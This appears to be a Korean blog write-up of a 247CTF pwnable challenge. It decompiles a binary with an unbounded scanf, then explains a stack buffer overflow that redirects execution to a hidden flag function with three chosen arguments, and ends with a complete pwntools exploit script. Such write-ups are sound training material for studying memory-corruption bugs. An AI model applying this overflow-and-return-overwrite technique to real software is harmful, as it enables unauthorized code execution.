Tjdmin1

[247CTF] Pwnable - Hidden flag function parameters 본문

Pwnable

[247CTF] Pwnable - Hidden flag function parameters

Tjdmin1 2025. 3. 17. 14:30

 

https://247ctf.com/dashboard

 

247CTF - The game never stops

247CTF is a security learning environment where hackers can test their abilities across a number of different Capture The Flag (CTF) challenge categories including web, cryptography, networking, reversing and exploitation.

247ctf.com

Analyze


main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdout, 0);
  puts("Sorry, no flag here!\nYou can ask for one though:");
  chall();
  return 0;
}

 

chall

int chall()
{
  char v1[132]; // [esp+0h] [ebp-88h] BYREF

  return __isoc99_scanf("%s", v1);
}

 

flag

void __cdecl flag(int a1, int a2, int a3)
{
  char s[128]; // [esp+Ch] [ebp-8Ch] BYREF
  FILE *stream; // [esp+8Ch] [ebp-Ch]

  if ( a1 == 0x1337 && a2 == 0x247 && a3 == 0x12345678 )
  {
    stream = fopen("flag.txt", "r");
    fgets(s, 128, stream);
    printf("How did you get here?\nHave a flag!\n%s\n", s);
  }
}

 

main 함수에서 "Sorry, no flag here!\nYou can ask for one though:" 출력 후 chall 함수로 들어가게 됩니다.

이때 chall 함수에서는 scanf로 v1에 길이 제한 없이 입력 받습니다.

 

flag 함수는 인자 값 세개가 조건과 일치할 시 플래그를 출력해주게 됩니다.

 

Attack Vector


main -> chall 에서 Buffer Overflow를 이용해 ROP Chaniing을 하여 flag 함수를 호출하여 flag를 얻으면 됩니다.

 

Stack 구조

Buffer
SFP
RET
Dummy
arg1
arg2
arg3

 

Exploit


from pwn import *

HOST = '247ctf.com'
PORT = 0

p = remote(HOST, PORT)
#p = process('./hidden_flag_function_with_args')
e = ELF('./hidden_flag_function_with_args')

payload = p32(0)  * 35
payload += p32(e.symbols['flag'])
payload += p32(0)
payload += p32(0x1337)
payload += p32(0x247)
payload += p32(0x12345678)

p.sendlineafter(b'You can ask for one though:\n', payload)

print(p.recv().decode().strip())
p.close()

 

'Pwnable' 카테고리의 다른 글

[Android Hacking] 환경 세팅  (1) 2025.05.01
[247CTF] Pwnable - Confused environment read  (0) 2025.03.17
[Dreamhack] bof  (0) 2025.03.13
[pwnable.tw] Start [100 pts]  (0) 2025.03.11
[CTF] DownUnderCTF - yawa  (0) 2024.07.11